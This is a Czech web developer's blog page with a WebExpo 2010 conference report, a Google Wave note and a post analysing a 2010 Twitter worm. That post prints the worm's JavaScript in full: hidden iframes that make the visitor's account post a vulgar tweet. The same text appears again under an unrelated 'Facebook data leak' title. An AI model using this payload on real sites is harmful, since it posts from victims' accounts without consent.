Marek Hrabě programátor, webdesignér a hudebník píše…

Zajímám se o cokoli, co má něco společného s webem a programováním aplikací pro něj. Nejvíc mě baví PHP a jQuery a právě o tom budu psát nejvíce.

Jak vypadalo WebExpo 2010?

Komentáře:

Tohle bude na dýl. Začněme čtvrtkem. Ten byl ve znamení worksopů, pro mě ve znamení toho v Adobe, který se mi díky přesunu nekryl se zubařkou. Velké díky! Byl super, jako vždy u nich. TomJurajem jsou profíci, kteří ví, o čem mluví a umějí to hezky podat a naučit.

Po super odpoledni v Butovicích jsem vyrazil na Warm-up party v moc pěkném podniku Le Marc v samém centru Prahy. Chvíli jsem to hledal a pak jsem tam dorazil snad nějakým zadním vchodem nebo co, ale never mind. :) Večer se rozjížděl a docela jsem se s pár lidmi, které jsem znal, bavil. Prý také došlo pivo, což byl ale #fail, který mě netrápil. Poznal jsem pár lidí, zatřásl si pár rukama a pomačkal nějaké ty Follow buttony. Zkrátka super akce – domů jsem dorazil před třetí :D

A tak jsem po třech hodinách spánku vyrazil na velmi dlouhý trip přes celou Prahu a pak ještě kus dál. Ano, na Českou Zemědělskou Univerzitu. Jasně, chápu – kapacita, cena, takže je to v pohodě. Co jsem nechápal byla fronta. Ta fronta, kde se snažila tisícovka lidí získat visačku, dárečky, případě neexistující papírový program nebo mapu areálu. Byla v té nejužší chodbě ze všech (navíc se táhla až daleko, daleko ven) a chudinky 3 hostesky to tam musely celé zvládnout. Jinak k těm dárkům – jsou bájo príma super mega cool! :D Triko, blok a propiska Skype (kterou jsem si zapomněl vzít :/) a BadGees jsou dokonalé! (fotka Patrika)

Po registraci jsem se vydal hledat tu výbornou snídani. 404. Našel jsem jen croissants a balenou vodu. Tak jsem vzal dvě lahvinky a šel na první přednášku. Úvodní keynote jsem přece prostál v té frontě.

Prvně jsem zamířil do Developer Hall, kde jsem si hned po příchodu zapojil noťas do nejbližší zásuvky (o řadu přede mnou). Super. Ještě ten den jsem ale zjistil, že jsou zásuvky jen v dolní třetině Hallu:

Citace (upraveno) @vldysek: Prodlužku mám, ale netušil jsem, že to musí být rovnou 50m buben :(

V Design Hall to nebylo o moc lepší. Na tak velkou místnost tam nebylo snad ani 10 zásuvek a byly pro jistotu přelepené lepící páskou. Asi aby se nikdo neplugnul. Páska se tam moc neohřála

Další průser byl oběd (a vůbec celý catering). Řízky s nechutným bramborovým salátem (který se snažili napravit přidáním práškovadel) a hrachová kaše s mrkví a penne (jo, fakt!) Pěkné ale bylo napojení konference na server Pizza Time.cz, díky kterému jsem docela chutně večeřel.

OK, tohle nebylo moc hezké ale musel jsem to napsat už minimálně kvůli tomu, že se o tom dozví organizátor (a prý už i pracuje na nápravách). O tomhle ale konference nebyla.

Byla o všem ostatním jenom ne o tomhle. A to ostatní… to bylo legendární! Ať už lidé, které jsem poznal nebo se s nimi po dlouhé době viděl, tak i přednášky. Pohyboval jsem se pouze v Developer a Designer hallu a tady jsou moje postřehy:

Couch DB

Na tuhle přednášku jsem se moc těšil, protože jsem koukal na záznam Karlovy přednášky o gitu a dost mě bavil ten způsob, jakým přednášel a vysvětloval. Nejinak to bylo u Couch DB. Dost mě to zaujalo a asi ji zkusím použít u nějakého mého příštího projektu. Super je taky programování funkcí v javascriptu – ten totiž miluju! :D

Mobilni webové služby pohledem iPhone developera

Taky pěkné. Přednášející Petr z Inmite to měl moc dobře připravené a přesně mluvil o tom, co jsem řešil pár dní předtím u své první iPhone web aplikace. Byl jsem rád, že jsem většinou udělal správná rozhodnutí. Taky padlo pár zajímavých informací o cachování, ze který jsem se poučil.

Příprava Cappuccina za 30 minut

Tohle už mě zas tak nevzalo. Už jen tím, že podmínkou pro vývoj byl Mac (nemám) a jazykem by ObjectiveJ (nemám rád, nechápu). Skip it.

Mobilní HTML5 aplikace se Sencha Touch

Neboli v vývoj mobilních aplikací v mobilním potomkovi molocha jménem Ext JS. Raději počkám a budu používat mobilní jQuery, ale přesto se mi to dost líbílo. Přednáška byla kvalitní a rád jsem si jí poslechl.

The Touch Events

Tyvole, to je týpek!!!

… říkali jsme si, když Peter-Paul dorazil a začal mluvit. Měl totiž jednu z nejlepších přednášek, navíc na atraktivní téma touchových eventů. Dozvěděl jsem se strašně moc nových věcí a bavil jsem se možná i víc, než u Davida Grudla! A nebo alespoň stejně :)

Příprava dat pro rychlé a malé aplikace ve Flashi (a HTML)

Moc jsem od toho nečekal, ale vyvinula se z toho skvělá přednáška od povolaného člověka. Tady se mi mimochodem moc líbila i multimediální prezentace s videem a hudbou (ukázky aplikací). Opravdu jedna z nejlepších.

Typografie v elektronických médiích

Tohle mě nějak moc nezaujalo. Snad až na první slajd, který byl psán Comic Sansem a přednášející poprosil ty, kterým se to líbí, aby šli na kafe. Tam ovšem končila vtipnost (a pro mě) i poučnost.

Nette Framework 1.0 + Digit 53.

Co říct… Prostě David. Vtipné, skvělé a užitečné. Zajaxování aplikace napsáním jednoho znaku je bomba! Takovej potlesk jsem ještě nežral :D

Na začátku jsem moc nedával pozor, protože mi Honza vysvětloval, jak uvnitř funguje Školní sešit.cz. Ale zhruba od třetiny jsme se jen váleli ve smíchu :)

Sobotní dopolední blok

Celý jsem ho strávil v design hall na přednáškách „Vzory: dobrý sluha, ale špatný pán“, „Kašlete na uživatele“ a „Čo ma naučili epické zlyhania na Centrum.cz“. Prima zábava. Oddychová témata od příběhů ze života až po mazání vodorovných čar na homepage Centrum.cz.

Web rychlejší než blesk

Tohle byl #fail. Vždy, když se přednášející už už dostával k něčemu užitečnému, i když dávno známému (třeba css sprity, zmenšování obrázků přes smushit.com), tak vždy zas sklouznul k popisování toho, jak je IE9 rychlé a super. Moje blbost – měl jsem se kouknout, kdo přednáší. Pro příště si ho dávám na blacklist…

Foursquare Super Swarm Badge Check-in

Má vůbec cenu ještě něco psát k této kauze? Šel jsem se čeknou spolu s „jádrem“ českého foursquaru tam, kde Eliška mávne rukou. Po třech hodinách nám někdo snažení a přemlouvání zkazil tím, že tam chcekoval s falešnými jednoúčelově vytvořenými účty. Více čtěte v článku Elišky.

Blok přednašek po obědě

Ten obsahoval přednášky:

Opět pěkné. To o mobilním webu pěkně navazovalo na předchozí den v Dev hall, takže jsem byl nadmíru spokojen.

Startup Show 2010

Snad největší #fail. #epicfail! Anglické přednášky pro anglicky přednášející porotce o nadějných startupech. Pak tam najednou přišel někdo, kdo přednášel česky. S Adamem jsme se nestačili divit. Nejhorší na tom bylo ale to, že pak i vyhrál. What the …? :/

Je mi líto kluků z NiceReply, že nevyhráli. Jim jsem fandil nejvíc…

Designing from start to finish

Hvězda letošního WebExpa – Ryan od signálů. Byl super. Líbilo se mi, jak pojal prezentaci. Sednul si k tabletu a začal malovat (ve fullscreen Photoshopu, btw.) Nebylo to nic světaborného. Ukazoval v podstatě, že pracuje, podobně jako já, od nákresu hned do html a postupně více a více zpřesňuje. Šlo mu to krásně a překvapilo mě, že používá vim! Já v něm umím tak maximálně přidat text :D

Celkově k hallům

Jak jsem psal, byl jsem pouze ve dvou místnostech – Developer a Design hall. Lepší pocit mám ale z té designové – měla lepší online stream – od Adobe a byl kvalitní a plynulý oproti tomu od Microsoftu (občas jem nakouknul z Dev hallu, co se tam děje :D) a co se mi tam strašně líbilo byl moderátor. Je to blbost, ale měl jsem hned lepší pocit, když mi na konci přestávky někdo řekne, co se tam teď bude dít, kdo přijde atd. Dan to měl moc dobře zmáknuté. Mám jedinou výtku – podle mě nebyl absolutně využit potenciál toho druhého projektoru, kde bylo většinou jen logo WebExpa. Twitter-wall by tomu slušel víc.

WebExpo 2010

Webexpo bylo nakonec vlastně moc vydařenou akcí s organizací v plenkách. Příští rok jsem tam zas, to si pište! :) A těším se na změny k lepšímu, Vašku! :)

A zase další twitter exploit

Komentáře:

Není to tak dávno, co se twitterem šířil "začerňovací" virus a dnes tu máme další. Lépe řečeno exploit. Tentokráte už zasahuje i všechny klienty (nejen web), protože se šíří formou odkazu a vulgárního tweetu. A šíří se opět lavinově. Tady jsou oba dva tweety:

Tweet 1: WTF: http://t.co/SwNMYI2

Tweet 2: i love anal sex with goats

Zkoumal jsem zdroják exploitu a zjistil jsem, že jde o zranitelnost nedávno nasazeného TweetButtonu. Pro znalé přikládám zdroják javascriptu, který toto zapříčinil. Je opravdu jednoduchý a je až do nebevolající, že vůbec může fungovat. Je to bezpečnnostní trhlina jak prase!

var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);

Rozhodně na odkaz neklikejte. Ani ze zvědavosti, protože tím okamžitě odešlte tyto tweety i z vašeho účtu. A vy snad přece nemáte rádi to, co ten tweet tvrdí :D Doufám!

Moje WebExpo 2010

Komentáře:

Letos poprvé vyrážím na WebExpo. Už se tam moc těším a doufám, že to bude legendární! Většinu času tam pravděpodobně budu s Patrikem a s lidmi z Flow Media.

Tady jsou přednášky, na které bych rád dorazil (kdoví ale, jak to nakonec bude). Pokud byste se chtěli někde potkat, třeba mi napište a můžeme se domluvit.

Nejvíce věcí je o designu a použitelnosti, kterým se poslední dobou věnuji více, než samotnému programování, takže budu mít „základnu“ v Design Hall. Rád vás uvidím a už teď se moc těším!

Google Wave končí

Komentáře:

Podle článku, který vyšel na oficiálním Google blogu končí Google Wave. Pokud si nevzpomínáte, co to je, ani se vám nedivím. Šlo o ambiciózní experimentální projekt Googlu pro real-time komunikaci. Každý (geek) se chtěl podívat na to, jak Google změní náš způsob komunikace a složitě scháněl pozvánky. Nakonec ale vlastně nikoho pořádně nenadchla a nikdo nebyl s to, najít kloudné využití.

Nemá smysl pokračovat v tomto projektu, ale myslím si, že by se z něj dalo vytěžit dost nápadů třeba pro další produkty Googlu (hlavně GMail a Dokumenty).

RIP.

Únik dat Facebooku

Komentáře:

A máme tu další twitter virus. Tentokráte už zasahuje i všechny klienty, protože se šíří formou odkazu a vulgárního tweetu. Šíří se opět lavinově. Tady jsou oba dva tweety:

Tweet 1: WTF: http://t.co/SwNMYI2

Tweet 2: i love anal sex with goats

Zkoumal jsem zdroják exploitu a zjistil jsem, že jde o zranitelnost nedávno nasazeného TweetButtonu. Pro znalé přikládám zdroják javascriptu, který toto zapříčinil. Je opravdu jednoduchý a je až do nebevolající, že vůbec může fungovat. Je to bezpečnnostní trhlina jak prase!

var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);

Rozhodně na odkaz neklikejte. Ani ze zvědavosti, protože okamžitě odešle tyto tweety i z vašeho účtu. A vy snad přece nemáte rádi to, co ten tweet tvrdí :D